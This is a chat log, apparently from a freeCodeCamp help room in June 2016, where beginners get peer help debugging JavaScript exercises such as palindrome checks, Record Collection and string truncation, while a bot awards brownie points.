Michael Guest @MichaelGuest Jun 15 2016 01:40 UTC @jcortes0309 I don't understand gi and ^ could you explain? George Green @george-fg Jun 15 2016 01:42 UTC @dhcodes @Chrono79 thanks, i'll see if I can come up with some thing :) CamperBot @camperbot Jun 15 2016 01:42 UTC george-fg sends brownie points to @dhcodes and @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1171 | @chrono79 |http://www.freecodecamp.com/chrono79 :star2: 1024 | @dhcodes |http://www.freecodecamp.com/dhcodes Diego Mayer @Chrono79 Jun 15 2016 01:42 UTC :+1: Vivienne Sales @Natto278 Jun 15 2016 01:43 UTC @george-fg In the Word Blanks challenge, spacing and the types of quotes (single quotes v. double quotes) are quite important. Dylan @dhcodes Jun 15 2016 01:45 UTC @MichaelGuest g means global, which means don't return on first instance of that match. i means case-insensitive, meaning upper or lower case, and ^ means "not" as in ^3 (not 3) @MichaelGuest www.regexone.com for good practice Diego Mayer @Chrono79 Jun 15 2016 01:46 UTC ^ also means the start of the string @dhcodes @MichaelGuest Michael Guest @MichaelGuest Jun 15 2016 01:46 UTC Thanks @Chrono79 @Chrono79 CamperBot @camperbot Jun 15 2016 01:46 UTC michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :warning: michaelguest already gave chrono79 points Michael Guest @MichaelGuest Jun 15 2016 01:46 UTC Thanks @dhcodes CamperBot @camperbot Jun 15 2016 01:46 UTC michaelguest sends brownie points to @dhcodes :sparkles: :thumbsup: :sparkles: :star2: 1025 | @dhcodes |http://www.freecodecamp.com/dhcodes Juan Cortes @jcortes0309 Jun 15 2016 01:46 UTC Thanks @dhcodes for answering @MichaelGuest question CamperBot @camperbot Jun 15 2016 01:46 UTC jcortes0309 sends brownie points to @dhcodes and @michaelguest :sparkles: :thumbsup: :sparkles: :star2: 1026 | @dhcodes |http://www.freecodecamp.com/dhcodes :cookie: 276 | @michaelguest |http://www.freecodecamp.com/michaelguest Dylan @dhcodes Jun 15 2016 01:47 UTC oh your welcome everyone is so friendly tonight Juan Cortes @jcortes0309 Jun 15 2016 01:47 UTC I didn't remember what ^ meant Haha, yes. Everyone trying to learn more by helping others Dylan @dhcodes Jun 15 2016 01:49 UTC i'm just here to procrastinate Michael Guest @MichaelGuest Jun 15 2016 01:49 UTC I got /* jshint esversion: 6 */ function palindrome(str) { let arrstr = str.replace(/[^A-Za-z0–9]/g,).split("").reverse().join(""); if(str === arrstr){ return true; } else { return false; } } palindrome("eye"); What do I need to put after the , in .replace George Green @george-fg Jun 15 2016 01:50 UTC @Chrono79 @dhcodes I still don't understand what code I am supposed to write in the function for the Word Blanks. I am really confused. :( Diego Mayer @Chrono79 Jun 15 2016 01:50 UTC @MichaelGuest after the , "" but you're still comparing to str, that's not cleaned, and with cleaned I mean stripped of non alphanumerical chars and all lowercase or all uppercase Dylan @dhcodes Jun 15 2016 01:51 UTC @george-fg they give you a bunch of variables you need to use them to make a sentence with some strings concatenated in between ex. Michael Guest @MichaelGuest Jun 15 2016 01:51 UTC @Chrono79 what do you mean by its not clean? Diego Mayer @Chrono79 Jun 15 2016 01:51 UTC what I just wrote there Dylan @dhcodes Jun 15 2016 01:52 UTC "a " + var1 + var2 + " ran into " + var3 @george-fg Diego Mayer @Chrono79 Jun 15 2016 01:52 UTC @dhcodes remember the spaces between vars George Green @george-fg Jun 15 2016 01:52 UTC @dhcodes ok, that looks promising. brb :) Michael Guest @MichaelGuest Jun 15 2016 01:53 UTC @Chrono79 doesnt my regex expression strip str of non alpha numerics? Juan Cortes @jcortes0309 Jun 15 2016 01:53 UTC @MichaelGuest you need to clean str first. You are not cleaning str Chris Cullen @123xylem Jun 15 2016 01:53 UTC  function telephoneCheck(str) { str=str.split(""); for(i=0;i<str.length;i++){ if(str[0]!==1 || str[0]!==5){ //if str element1 isnt 1 or 5 say false return false; } if(str[i]===/[a-z]/){ //if theres a letter in str say false return false; } } return str; } telephoneCheck("1 555-555-5555"); Why isit returning false on first if? Diego Mayer @Chrono79 Jun 15 2016 01:54 UTC @MichaelGuest replace doesn't affect the string you applied it, it returns another string, and you assinged that to arrstr Chris Cullen @123xylem Jun 15 2016 01:54 UTC even if i return str[0[ it shows 1 Michael Guest @MichaelGuest Jun 15 2016 01:54 UTC Oh I get it. It needs to be after .join Diego Mayer @Chrono79 Jun 15 2016 01:54 UTC @MichaelGuest no, do the following, str = str.replace(...).toLowerCase() (or toUppercase()) and in another line create another var if you wish that reverses that string Marian Menschig @mmenschig Jun 15 2016 01:55 UTC @123xylem is this the phone validator? It can be written in a single regex line Chris Cullen @123xylem Jun 15 2016 01:56 UTC @mmenschig probably ... I can make it better later but I want to do it first like I can refine it later Diego Mayer @Chrono79 Jun 15 2016 01:57 UTC @123xylem can you use a regex like that? Michael Guest @MichaelGuest Jun 15 2016 01:57 UTC @Chrono79 Should I take out spilt? Do I need to make another line or can I reverse it on the same line? Chris Cullen @123xylem Jun 15 2016 01:57 UTC @Chrono79 well its failing the first IF not the second one @Chrono79 the regex isnt tested et yet Diego Mayer @Chrono79 Jun 15 2016 01:58 UTC @MichaelGuest I would do 2 or three lines, for clarity, you can go for brevity later Michael Guest @MichaelGuest Jun 15 2016 01:59 UTC @Chrono79 Sweet Thanks! CamperBot @camperbot Jun 15 2016 01:59 UTC michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :warning: michaelguest already gave chrono79 points Diego Mayer @Chrono79 Jun 15 2016 02:00 UTC @123xylem are you sure they're numbers and not strings? Chris Cullen @123xylem Jun 15 2016 02:00 UTC @Chrono79 yea i made it an array with .split Ivan Miranda @ivannash23 Jun 15 2016 02:00 UTC hey guys i need some help Diego Mayer @Chrono79 Jun 15 2016 02:01 UTC they still can be strings of length 1 andreas2249 @andreas2249 Jun 15 2016 02:01 UTC Had asked about this earlier today why this doesn't work. Was referred to some great links but as a noobie, they're way over my head. How can I fix this to iterate over the loop without failing before it gets started, please?  for (i = 1; i <= 6; i++) { setTimeout(function() { document.getElementById("section-" + i).innerHTML = "Swap out text (" + i + ")"; }, i * 1000)(i); } Thanks in advance. Chris Cullen @123xylem Jun 15 2016 02:01 UTC @Chrono79 o... How do i remove the "" from them on split? Aakash Basnet @idiosincrasia Jun 15 2016 02:02 UTC How to define public methods inside a constructor? Diego Mayer @Chrono79 Jun 15 2016 02:03 UTC @123xylem your if condition is wrong, it's always true @123xylem you could use parseInt or +varName to cast them to numbers or you can compare in the ifs to "1" or "5" Chris Cullen @123xylem Jun 15 2016 02:05 UTC @Chrono79 yea thanks CamperBot @camperbot Jun 15 2016 02:05 UTC 123xylem sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1172 | @chrono79 |http://www.freecodecamp.com/chrono79 Chris Cullen @123xylem Jun 15 2016 02:05 UTC but Its still failing the first if statement Diego Mayer @Chrono79 Jun 15 2016 02:05 UTC @123xylem yes, the first is always true Chris Cullen @123xylem Jun 15 2016 02:06 UTC because it cant be 1 and 5? Diego Mayer @Chrono79 Jun 15 2016 02:06 UTC no, because it can always be not 1 or not 5, well it's the same I guess, but what I wrote sound better ;) when it's 1 is not 5 and viceversa and any other number is not 1 and not 5 silver537 @silver537 Jun 15 2016 02:09 UTC caeser cipher is kicking my ass right now Diego Mayer @Chrono79 Jun 15 2016 02:09 UTC @idiosincrasia public method, this.nameOfTheMethod = function... George Green @george-fg Jun 15 2016 02:11 UTC Hey Guys, I'm still stuck. here is what I've got so far for the Word Blanks task. function wordBlanks(myNoun, myAdjective, myVerb, myAdverb) { var result = ""; // Your code below this line result = "I am a " + myNoun + "that is " + myAdjective " who " + myVerb " very" + myAdverb; // Your code above this line return result; } // Change the words here to test your function wordBlanks("dog", "big", "ran", "quickly"); Diego Mayer @Chrono79 Jun 15 2016 02:12 UTC @george-fg missing some spaces and some + Josh Terry @jaywikid Jun 15 2016 02:12 UTC missing spaces Can anyone help me with the Stand in Line assignment? Diego Mayer @Chrono79 Jun 15 2016 02:12 UTC yes Michael Guest @MichaelGuest Jun 15 2016 02:13 UTC @Chrono79 is this good? /* jshint esversion: 6 */ function palindrome(str) { const regex = /[^A-Za-z0-9]/g; const lowercaseRegexStr = str.toLowerCase().replace(regex, ''); const reverseStr = lowercaseRegexStr.split('').reverse().join(''); return reverseStr === lowercaseRegexStr; palindrome("eye"); Josh Terry @jaywikid Jun 15 2016 02:13 UTC I am not exactly sure what its asking me to do George Green @george-fg Jun 15 2016 02:13 UTC It works ! THANK YOU @Chrono79 CamperBot @camperbot Jun 15 2016 02:13 UTC george-fg sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :warning: george-fg already gave chrono79 points Diego Mayer @Chrono79 Jun 15 2016 02:13 UTC @MichaelGuest aren't you missing some } ? Michael Guest @MichaelGuest Jun 15 2016 02:14 UTC @Chrono79 Oh yeah thanks haha CamperBot @camperbot Jun 15 2016 02:14 UTC :star2: 1173 | @chrono79 |http://www.freecodecamp.com/chrono79 michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: Diego Mayer @Chrono79 Jun 15 2016 02:14 UTC @jaywikid you have to use 2 array manipulation methods from these 4: pop, push, shift and unshift help stand in line CamperBot @camperbot Jun 15 2016 02:15 UTC ## :point_right: challenge stand in line [wiki] # Challenge Stand In Line About queues In Computer Science a queue is an abstract Data Structure_ where items are kept in order. New items can be added at the back of the queue and old items are taken off from the front of the _queue. Instructions Write a function nextInLine which takes an "array" and an "item" as arguments. Add the item onto the end of the array, then remove the first element of the array. The nextInLine function should return the element that was removed. Remember to use Read-Search-Ask if you get stuck. Try to pair program. Write your own code. Mitul Shah @mitul-s Jun 15 2016 02:16 UTC hello, i'm having trouble with "escape sequences in strings" under js Diego Mayer @Chrono79 Jun 15 2016 02:16 UTC and your code is? Mitul Shah @mitul-s Jun 15 2016 02:16 UTC fairly simple, but my code won't pass var myStr = '\wtf \twtf \twtf \rwtf \nwtf' Arjun @arjunsingh81989 Jun 15 2016 02:17 UTC anyone can recommend a JavaScript Bible: taking someone from an absolute beginner to a master Mitul Shah @mitul-s Jun 15 2016 02:17 UTC in the console, it shows it correctly silver537 @silver537 Jun 15 2016 02:17 UTC @arjunsingh81989 search javascript documentation. you have many to choose from. Diego Mayer @Chrono79 Jun 15 2016 02:17 UTC wtf is wtf? :P Michael Guest @MichaelGuest Jun 15 2016 02:17 UTC @Chrono79 Why do I need to do return reverseStr === lowercaseRegexStr;? Mitul Shah @mitul-s Jun 15 2016 02:18 UTC @Chrono79 literally just a random string haha Arjun @arjunsingh81989 Jun 15 2016 02:18 UTC any good mentions apart from docs Diego Mayer @Chrono79 Jun 15 2016 02:18 UTC @mitul-s delete it @MichaelGuest you have to compare too similar strings if one of them has uppercase letters or spaces or commas and the other not, they won't be never the same Chris Cullen @123xylem Jun 15 2016 02:19 UTC  } if(b[i]===/[a-z]/){ //if theres a letter in str say false..-------------------------------Why is this is not filtering letters in an array of numbers and letters? return false; Mitul Shah @mitul-s Jun 15 2016 02:19 UTC @Chrono79 i tried that as well, then it just shows the escape squences Chris Cullen @123xylem Jun 15 2016 02:19 UTC Its returning true for that ["1","2","3","","","&","!","!","a","s","d","f","#"] silver537 @silver537 Jun 15 2016 02:20 UTC there's no answers for logic. when it comes to logic, there's many ways to arrive to the same result. Michael Guest @MichaelGuest Jun 15 2016 02:20 UTC @Chrono79 isnt it the same string? Diego Mayer @Chrono79 Jun 15 2016 02:21 UTC @MichaelGuest yes and no, one is the reversed version of the other, they're the same when the word is a palindrome Michael Guest @MichaelGuest Jun 15 2016 02:21 UTC @Chrono79 Thanks! CamperBot @camperbot Jun 15 2016 02:21 UTC michaelguest sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :warning: michaelguest already gave chrono79 points Diego Mayer @Chrono79 Jun 15 2016 02:21 UTC @mitul-s use at the start and at the end of your line of code here, just to see it formatted Mitul Shah @mitul-s Jun 15 2016 02:25 UTC @Chrono79 that just turns it into a comment ' or  Diego Mayer @Chrono79 Jun 15 2016 02:25 UTC backticks like this silver537 @silver537 Jun 15 2016 02:25 UTC help format CamperBot @camperbot Jun 15 2016 02:25 UTC ## :point_right: code formatting [wiki] # Multi line Code js ⇦ Type 3 backticks and then press [shift + enter ⏎] (type js or html or css) <paste your code here>, then press [shift + enter ⏎]  ⇦ Type 3 backticks, then press [enter ⏎] # Single line Code This an inline <paste code here> code formatting with a single backtick() at _start_ and _end_ around thecode. See also: ☛ How to type Backticks | ☯ Compose Mode | ❄ Gitter Formatting Basics Diego Mayer @Chrono79 Jun 15 2016 02:25 UTC but it's for reading it here, not in the challenge window Mitul Shah @mitul-s Jun 15 2016 02:26 UTC ohh lmao var myStr = \\ \t \t \r \n silver537 @silver537 Jun 15 2016 02:26 UTC there ya go Diego Mayer @Chrono79 Jun 15 2016 02:26 UTC use quotes or double quotes around the escaped sequence Mitul Shah @mitul-s Jun 15 2016 02:26 UTC the quotations were there, sorry took them out since backticks i thought you meant in the terminal earlier lol var myStr = "\\ \t \t \r \n" TypeError: "\ " is not a function Diego Mayer @Chrono79 Jun 15 2016 02:28 UTC add a semicolon at the end and try that in the challenge, if that doesn't work, refresh your browser and try again Mitul Shah @mitul-s Jun 15 2016 02:28 UTC this is the error I get still won't work, whatever i'll deal with this another day thank you @Chrono79 CamperBot @camperbot Jun 15 2016 02:29 UTC mitul-s sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1174 | @chrono79 |http://www.freecodecamp.com/chrono79 John Calhoun @DougCal Jun 15 2016 02:30 UTC Having a lot of troubles with the 'Record Collection' challenge. I can't get a single check. It doesn't seem to show the entire code on here, so you may have to use the external link. hello Diego Mayer @Chrono79 Jun 15 2016 02:33 UTC @DougCal review these challenges first: Accessing Objects Properties with the Dot Operator Accessing Objects Properties with Bracket Notation Accessing Objects Properties with Variables Updating Object Properties Add New Properties to a JavaScript Object Delete Properties from a JavaScript Object Using Objects for Lookups Testing Objects for Properties Thomas Nguyen @thomasnguyen Jun 15 2016 02:37 UTC need help on the wikipedia viwer and ajax https://codepen.io/toshiru/pen/EyyxyX does the jquery ajax part look off to anyone? i cant get the sucess function to run Diego Mayer @Chrono79 Jun 15 2016 02:40 UTC @toshiru I see it running Umair @umairbalani Jun 15 2016 02:40 UTC Combine the two if statements into one statement which returns "Outside" if val is not between 10 and 20, inclusive. Otherwise, return "Inside". Jonathan Carroll @gkcodeman Jun 15 2016 02:40 UTC  function myLocalScope() { 'use strict'; console.log(myVar); } myLocalScope(myVar); // Run and check the console // myVar is not defined outside of myLocalScope console.log(myVar); // Now remove the console log line to pass the test getting stuck here. It's asking me to run the tests and then follow the instructions commented out in the editor. ugh sorry Umair @umairbalani Jun 15 2016 02:41 UTC ''' function testLogicalOr(val) { // Only change code below this line if (val != 10 || val >= 20) { return "Outside"; } // Only change code above this line return "Inside"; } // Change this value to test testLogicalOr(15);  CamperBot @camperbot Jun 15 2016 02:41 UTC :bulb: to format code use backticks!  more info Umair @umairbalani Jun 15 2016 02:41 UTC function testLogicalOr(val) { // Only change code below this line if (val != 10 || val >= 20) { return "Outside"; } // Only change code above this line return "Inside"; } // Change this value to test testLogicalOr(15); Diego Mayer @Chrono79 Jun 15 2016 02:41 UTC @umairbalani this if (val != 10 || val >= 20) { is not the same as between 10 and 20 inclusive, fix val != 10 Thomas Nguyen @thomasnguyen Jun 15 2016 02:41 UTC @Chrono79 I don't see the console printing out my console log statement Diego Mayer @Chrono79 Jun 15 2016 02:42 UTC @toshiru click in console of codepen, not your browser console, bottom left V Arun Kumar @arunvkumr Jun 15 2016 02:43 UTC @arjunsingh81989 try this jsforcats.com DuskyPixel @DuskyPixel Jun 15 2016 02:43 UTC  Jonathan Carroll @gkcodeman Jun 15 2016 02:43 UTC function myLocalScope() { 'use strict'; console.log(myVar); } myLocalScope(myVar); // Run and check the console // myVar is not defined outside of myLocalScope console.log(myVar); // Now remove the console log line to pass the test DuskyPixel @DuskyPixel Jun 15 2016 02:43 UTC  Jonathan Carroll @gkcodeman Jun 15 2016 02:44 UTC not sure what's it's wanting me to do here. says to now run the tests and follow the instructions commented out in the editor Thomas Nguyen @thomasnguyen Jun 15 2016 02:44 UTC @Chrono79 I did on codepen and I get nothing. Could it be my browser? Diego Mayer @Chrono79 Jun 15 2016 02:44 UTC @gkcodeman reset your challenge DuskyPixel @DuskyPixel Jun 15 2016 02:44 UTC  Is there an easier way to do this? cardClicked('cardOne'); document.getElementById('cardOne').onclick= function (){ } document.getElementById('cardTwo').onclick= function (){ Jonathan Carroll @gkcodeman Jun 15 2016 02:44 UTC @Chrono79 ok i'll try that DuskyPixel @DuskyPixel Jun 15 2016 02:44 UTC cardClicked('cardTwo'); } document.getElementById('cardThree').onclick= function (){ cardClicked('cardThree'); } document.getElementById('cardFour').onclick= function (){ cardClicked('cardFour'); }  Arjun @arjunsingh81989 Jun 15 2016 02:45 UTC @arunkumrv Thanks, any book .. I know JS Good Parts is good, but any other suggestions CamperBot @camperbot Jun 15 2016 02:45 UTC arjunsingh81989 sends brownie points to @arunkumrv :sparkles: :thumbsup: :sparkles: :cookie: 551 | @arunkumrv |http://www.freecodecamp.com/arunkumrv Diego Mayer @Chrono79 Jun 15 2016 02:45 UTC @toshiru are you watching codepen console then? Thomas Nguyen @thomasnguyen Jun 15 2016 02:46 UTC yes, and I don't get the console.log("no") printed out. Hmm this is weird. Are you able to? Diego Mayer @Chrono79 Jun 15 2016 02:46 UTC yes Thomas Nguyen @thomasnguyen Jun 15 2016 02:47 UTC yep, this is really weird haha ill try a different computer perhaps Umair @umairbalani Jun 15 2016 02:50 UTC function testLogicalOr(val) { // Only change code below this line if (val > 10 || val >= 20) { return "Outside"; } // Only change code above this line return "Inside"; } // Change this value to test testLogicalOr(15); Thomas Nguyen @thomasnguyen Jun 15 2016 02:50 UTC funnily enough, in safari i'm about to get the error function to run V Arun Kumar @arunvkumr Jun 15 2016 02:51 UTC @arjunsingh81989 you can try eloquent js this is also a good book for js. And if you have enough time then you can learn from YouTube as well, search for js videos and start learning. The main thing in programming is you have to practice to understand how things are working, so practice a lot and you will get hang of it. Umair @umairbalani Jun 15 2016 02:51 UTC Combine the two if statements into one statement which returns "Outside" if val is not between 10 and 20, inclusive. Otherwise, return "Inside". Diego Mayer @Chrono79 Jun 15 2016 02:52 UTC @umairbalani val > 10 isn't right either, in fact you should use the exact opposite Umair @umairbalani Jun 15 2016 02:53 UTC What's operator used for between in JS V Arun Kumar @arunvkumr Jun 15 2016 02:53 UTC @umairbalani for both conditions to get true use logical and &&. Umair @umairbalani Jun 15 2016 02:54 UTC @Chrono79 thanks CamperBot @camperbot Jun 15 2016 02:54 UTC :star2: 1175 | @chrono79 |http://www.freecodecamp.com/chrono79 umairbalani sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: Diego Mayer @Chrono79 Jun 15 2016 02:55 UTC @arunkumrv one number can't be < 10 and > 20 at the same time Eric @Code-Eric Jun 15 2016 02:55 UTC function repeatStringNumTimes(str, num) { // repeat after me var arr = []; var i = 0; while (i < num){ arr.push(str); i++; if (i === num) break; } arr.join(''); return arr; } repeatStringNumTimes("abc", 3); it does not work on freecode camp but it works in my IDE Thomas Nguyen @thomasnguyen Jun 15 2016 02:56 UTC @Chrono79 nvm i found it. I forgot to give button the type="button". Thanks @Chrono79 CamperBot @camperbot Jun 15 2016 02:56 UTC toshiru sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1176 | @chrono79 |http://www.freecodecamp.com/chrono79 John Calhoun @DougCal Jun 15 2016 02:56 UTC Went at it again and still can't seem to get a single check. I need serious help with this challenge. You'll have to use the external link to see the entire code. The challenge is called 'Record Collection.' Diego Mayer @Chrono79 Jun 15 2016 02:57 UTC @DougCal if(value !== "" && prop != "tracks"){ prop = value; // prop is a parameter of your function, you don't need to change it's value } else if(prop == "tracks" && value !== ""){ return tracks[value].push; // tracks[value] doesn't exist, so you can't use push either } else if(id.tracks === ""){ //what is this condition? return; } else if(value === ""){ delete updateRecords.prop; //updateRecords is your function name } all inside the ifs is wrong V Arun Kumar @arunvkumr Jun 15 2016 02:57 UTC @Chrono79 I meant for inside condition. If num is between 10 and 20, inclusive. (> 10 and <= 20). John Calhoun @DougCal Jun 15 2016 02:59 UTC Starting with the first 2 lines then, I can use some in understanding what this is implying: "If value is non-blank (value !== "") and prop is not "tracks" then update or set the value for the prop". Diego Mayer @Chrono79 Jun 15 2016 02:59 UTC @arunkumrv ok, inside was returned by default anyway John Calhoun @DougCal Jun 15 2016 02:59 UTC @Chrono79 Most specifically, when it says 'then update or set the value for the prop.' Eric @Code-Eric Jun 15 2016 03:01 UTC haha im stupid nevermind Diego Mayer @Chrono79 Jun 15 2016 03:02 UTC @DougCal that prop means collection[id][prop] value (maybe they should have written property, not prop) I suggested reviewing those challenges because you have to use all that you learned there, here in this challenge John Calhoun @DougCal Jun 15 2016 03:05 UTC I checked them and then proceeded with some editing to get the code that I posted. Unfortunately, reviewing them isn't helping me much. This challenge is hard. @Chrono79 Justin Crawford @JCrawford1122 Jun 15 2016 03:06 UTC bf spinal tap CamperBot @camperbot Jun 15 2016 03:06 UTC ## :fire:Bonfire: Spinal Tap Case :link: function spinalCase(str) { // "It's such a fine line between stupid, and clever." // --David St. Hubbins return str; } spinalCase('This Is Spinal Tap'); Convert a string to spinal case. Spinal case is all-lowercase-words-joined-by-dashes. more info: bf details | bf links | hint JasonXiao2007 @JasonXiao2007 Jun 15 2016 03:06 UTC hi Justin Crawford @JCrawford1122 Jun 15 2016 03:06 UTC hint CamperBot @camperbot Jun 15 2016 03:06 UTC :construction: Spoilers are only in the Bonfire's Custom Room :point_right: Diego Mayer @Chrono79 Jun 15 2016 03:08 UTC @DougCal I don't say it's not hard you have to focus on what are you trying to access/modify and how to access/modify it V Arun Kumar @arunvkumr Jun 15 2016 03:09 UTC @DougCal the challenge has given you the instructions to complete the challenge, convert those instructions into code you are good to go. wiki records CamperBot @camperbot Jun 15 2016 03:09 UTC no wiki entry for: records V Arun Kumar @arunvkumr Jun 15 2016 03:10 UTC find records CamperBot @camperbot Jun 15 2016 03:10 UTC find records nothing found V Arun Kumar @arunvkumr Jun 15 2016 03:10 UTC find updaterecords CamperBot @camperbot Jun 15 2016 03:10 UTC find updaterecords nothing found Diego Mayer @Chrono79 Jun 15 2016 03:10 UTC wiki record collection CamperBot @camperbot Jun 15 2016 03:10 UTC ## :point_right: challenge record collection [wiki] # Challenge Record Collection Instructions You are given a JSON object representing (a small part of) your record collection. Each album is identified by a unique id number and has several properties. Not all albums have complete information. Write a function which takes an id, a property (prop), and a value. For the given id in collection: If value is non-blank (value !== ""), then update or set the value for the prop. If the prop is "tracks" and value is non-blank, push the value onto the end of the tracks array. If value is blank, delete that prop. Always return the entire collection object. Remember to use Read-Search-Ask if you get stuck. Try to pair program. Write your own code. V Arun Kumar @arunvkumr Jun 15 2016 03:10 UTC thanks man. @Chrono79 CamperBot @camperbot Jun 15 2016 03:10 UTC arunkumrv sends brownie points to @chrono79 :sparkles: :thumbsup: :sparkles: :star2: 1177 | @chrono79 |http://www.freecodecamp.com/chrono79 V Arun Kumar @arunvkumr Jun 15 2016 03:19 UTC @DougCal Here are the instructions.. you need to focus on If value is non-blank (value !== ""), then update or set the value for the prop. if the passed argument 'value' is not empty then update or set the value of the prop of the record(not the prop argument). If the prop is "tracks" and value is non-blank, push the value onto the end of the tracks array. if the passed argument 'prop' value is tracks and value is not blank(or empty) then push value at end of tracks array. If value is blank, delete that prop. if the passed argument 'value' is blank then just delete the prop in record. Always return the entire collection object. This statement should be always in the code, always return the entire record collection. You need to use push(), delete and you should know how to access the obj with bracket notation to get and set the values of obj. Charmel @Charmelsippio Jun 15 2016 03:21 UTC Hi I am at a complete loss on how to solve this: function convertToF(celsius) { var fahrenheit; // Only change code below this line // Only change code above this line return fahrenheit; } // Change the inputs below to test your code convertToF(30); Diego Mayer @Chrono79 Jun 15 2016 03:22 UTC @DougCal @arunkumrv I'll add a couple of things to this: maybe tracks property doesn't exist for a certain record, you need to create it each record is collection[id] and a property of a record is collection[id][prop], not collection.id[prop] nor collection.id.prop @Charmelsippio they gave you an algorithm for fahrenheit temp didn't they? V Arun Kumar @arunvkumr Jun 15 2016 03:23 UTC @Charmelsippio use the formula $F = C * 9/5 + 32$. it's given in the instructions. bitgrower @bitgrower Jun 15 2016 03:27 UTC "if the passed argument 'prop' value is tracks and value is not blank(or empty) then push value at end of tracks array." for Record Collection, this instruction really needs to up be updated, because test case #2 now has values which have you add a track when the "record" (id) in question has no "tracks" property ... which means you have to create one ... but even TRICKIER, it has to be an array, so you can't just create the property value pair in the way at least I would first think -- but must set the value of the tracks property to an array of 1 element ... Diego Mayer @Chrono79 Jun 15 2016 03:28 UTC @bitgrower yes, also calling prop both the parameter and the actual record property isn't the wisest of choices bitgrower @bitgrower Jun 15 2016 03:29 UTC I am not sure who was asking for help with Record Collection, but I've noticed they have added (or changed) to have that test case ... it kind of caught me by surprise when I first saw a camper have problems with it ... @Chrono79 oh yeah ... for sure -- I've found trying to talk about record collection because of that can be very confusing ... ...for a while -- since before they changed the function name & added/changed the test case .. Eric @Code-Eric Jun 15 2016 03:32 UTC function truncateString(str, num) { // Clear out that junk in your trunk var result; var Str = str.length; while (str.length >= str.slice(0,num).length) { if(num < 3) { result = str.slice(0,num) + '...'; break; } else if (num > 3) { result = str.slice(0,num - 3) + '...'; break; } else if (num === ) { result = str; break; } } return result; } truncateString("A-tisket a-tasket A green and yellow basket", 11); Im having trouble figuring out what im supposed to do when num = str.length Diego Mayer @Chrono79 Jun 15 2016 03:35 UTC @Code-Eric nothing why using a loop? Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 03:36 UTC hi guys i have a problem in Chunk Monkey problem Eric @Code-Eric Jun 15 2016 03:36 UTC i was just going along with it because it worked for the rest of the problem @Chrono79 @Chrono79 i still dont know what to do. how do i get it to output the string? V Arun Kumar @arunvkumr Jun 15 2016 03:37 UTC they updated record collection, there is a new condition, i didn't know about that... :neutral_face: Diego Mayer @Chrono79 Jun 15 2016 03:38 UTC @arunkumrv yes, they did Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 03:38 UTC can any one help me please ? Diego Mayer @Chrono79 Jun 15 2016 03:38 UTC let's see your code @MohammedAhmed49 Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 03:39 UTC i don't have any thing about the idea of how to solve the problem Diego Mayer @Chrono79 Jun 15 2016 03:39 UTC @Code-Eric I'll get rid of the loop first Eric @Code-Eric Jun 15 2016 03:39 UTC oh i see i didnt need the while at all @Chrono79 Diego Mayer @Chrono79 Jun 15 2016 03:40 UTC @MohammedAhmed49 have you read what slice does? FM @mafelix Jun 15 2016 03:40 UTC @Code-Eric break down the problem and try to understand what it wants you to output Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 03:41 UTC yeah i've read it but i don't know how to use it in the problem @Chrono79 Eric @Code-Eric Jun 15 2016 03:41 UTC i think i understand that it wants me to output the entire string if number is equal to str.length @mafelix FM @mafelix Jun 15 2016 03:41 UTC your breaks are kinda weird too man and you're assigning a global variable in your if else statements nvm you defined it as a global up top Eric @Code-Eric Jun 15 2016 03:42 UTC hold on let me show you what i have now function truncateString(str, num) { // Clear out that junk in your trunk var result; if(num < 3) { result = str.slice(0,num) + '...'; } else if (num > 3) { result = str.slice(0,num - 3) + '...'; } else { return str; } return result; } truncateString("A-tisket a-tasket A green and yellow basket", 11); Diego Mayer @Chrono79 Jun 15 2016 03:43 UTC @MohammedAhmed49 create a new array, and push slices of the original inside it. You can use a loop to do that several times Eric @Code-Eric Jun 15 2016 03:43 UTC it was brought to my attention that the loop was redundant @mafelix FM @mafelix Jun 15 2016 03:43 UTC yea. Mohammed Ahmed @MohammedAhmed49 Jun 15 2016 03:44 UTC @Chrono79 ummm i'll try to implement :) bitgrower @bitgrower Jun 15 2016 03:44 UTC okay, @Code-Eric I will tell you that when I had trouble with that challenge, the problem was that I hadn't read the instructions carefully enough .. specifically, in terms of what I was supposed to output ... there's kind of a gotcha in there ... FM @mafelix Jun 15 2016 03:44 UTC understanding the problem is a big part of the battle Eric @Code-Eric Jun 15 2016 03:45 UTC okay @bitgrower ill go back and read carefully like i should have already. hahaha although i cleared all the conditions beside getting it to return the entire string Eugeniu Botnaru @ebv-gh Jun 15 2016 03:45 UTC Can someone help me figure this challenge please. The explanation is clear, the example too, the instructions are also clear. But I can't add it all up together. This is what I came up with so far:  // Setup function abTest(a, b) { // Only change code below this line switch (a, b) { case a < 0: case b < 0: return ; break; } // Only change code above this line return Math.round(Math.pow(Math.sqrt(a) + Math.sqrt(b), 2)); } // Change values below to test your code abTest(2,2); bitgrower @bitgrower Jun 15 2016 03:45 UTC it is indeed ... I like to tell beginning campers they need to carefully break down the problem... 1. what are your inputs, what are you given ... 2. what are you expected to return 3. then, and only then, figure what kinds of tools you have to get there ... Diego Mayer @Chrono79 Jun 15 2016 03:47 UTC @rumpumpum use if instead of switch to evaluate 2 vars Norvin Burrus @ndburrus Jun 15 2016 03:48 UTC @rumpumpum which challenge is this? Eugeniu Botnaru @ebv-gh Jun 15 2016 03:49 UTC @Chrono79 do I have to somehow test if the values given to abTest are strings or numbers? @ndburrus This one Diego Mayer @Chrono79 Jun 15 2016 03:50 UTC @rumpumpum no need Norvin Burrus @ndburrus Jun 15 2016 03:51 UTC @rumpumpum note: the instructions offer the condition: if :sparkles: Jesse Neumann @Jesse989 Jun 15 2016 03:52 UTC can anyone point me to the info to complete the "Arguments Optional" algorithm challenge? This is the first time I have seen returning functions and I am so confused... FM @mafelix Jun 15 2016 03:55 UTC @Code-Eric did you figure it out? Eric @Code-Eric Jun 15 2016 03:55 UTC yes i did thank you thanks @mafelix @Chrono79 @bitgrower 